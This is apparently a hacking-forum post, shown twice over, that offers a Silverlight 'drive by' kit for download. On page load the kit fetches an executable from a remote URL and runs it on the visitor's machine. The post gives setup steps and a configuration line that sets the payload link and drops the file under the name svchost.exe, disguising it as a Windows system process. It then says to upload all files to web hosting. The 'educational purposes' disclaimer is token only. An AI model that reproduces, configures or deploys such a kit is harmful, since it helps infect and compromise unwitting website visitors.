What a drive by is?
"Downloads which a person authorized but without understanding the consequences (e.g. downloads which install an unknown or counterfeit executable program, ActiveX component, or Java applet)." (Wikipedia)
In this case, it's a Silverlight application which, once installed, downloads and executes a file of your choice. F**k Java 7u51!
Video - PoC?
Informations
I'm not responsible of what you are doing with this software. I'm sharing it only for educational purposes. Your are not allowed to share it without my agreement.
XAP file is not obfuscated so you can easily check that is not infected.
Here is a virus scan which obviously means nothing but I know people want it :
Spoiler (Click to View)
How to
You must know :
Once installed, the drive by may not working again. To avoid that, you must uninstall the application called "Silverlight" from your control panel before retrying!
It's not working in "private browsing" mode.
Delete your browser temp files and restart it between tests!
Once you have downloaded the archive, extract it.
Open the file index.html and search this line :
Just replace those values :
- http://my.server.com/directlink.exe => a direct link to your EXE file
- svchost.exe => drop name of your EXE file
- INSTALL => the text button displayed on the page
Don't forget to save your changes!
Now you can upload ALL FILES (dll, xap, html, xaml, xml) to your web hosting!
If you are familiar with html you can edit the page as you want.
Download
If you like it, you can keep the thread alive by posting a little thanks! ✌
Enjoy! No ads/surveys : http://www.mediafire.com/download/6cegzs...ive-by.zip
"Downloads which a person authorized but without understanding the consequences (e.g. downloads which install an unknown or counterfeit executable program, ActiveX component, or Java applet)." (Wikipedia)
In this case, it's a Silverlight application which, once installed, downloads and executes a file of your choice. F**k Java 7u51!
Video - PoC?
Informations
I'm not responsible of what you are doing with this software. I'm sharing it only for educational purposes. Your are not allowed to share it without my agreement.
XAP file is not obfuscated so you can easily check that is not infected.
Here is a virus scan which obviously means nothing but I know people want it :
Spoiler (Click to View)
How to
You must know :
Once installed, the drive by may not working again. To avoid that, you must uninstall the application called "Silverlight" from your control panel before retrying!
It's not working in "private browsing" mode.
Delete your browser temp files and restart it between tests!
Once you have downloaded the archive, extract it.
Open the file index.html and search this line :
Code
<param name="initParams" value="url=http://my.server.com/directlink.exe,drop=svchost.exe,text=INSTALL" />- http://my.server.com/directlink.exe => a direct link to your EXE file
- svchost.exe => drop name of your EXE file
- INSTALL => the text button displayed on the page
Don't forget to save your changes!
Now you can upload ALL FILES (dll, xap, html, xaml, xml) to your web hosting!
If you are familiar with html you can edit the page as you want.
Download
If you like it, you can keep the thread alive by posting a little thanks! ✌
Enjoy! No ads/surveys : http://www.mediafire.com/download/6cegzs...ive-by.zip
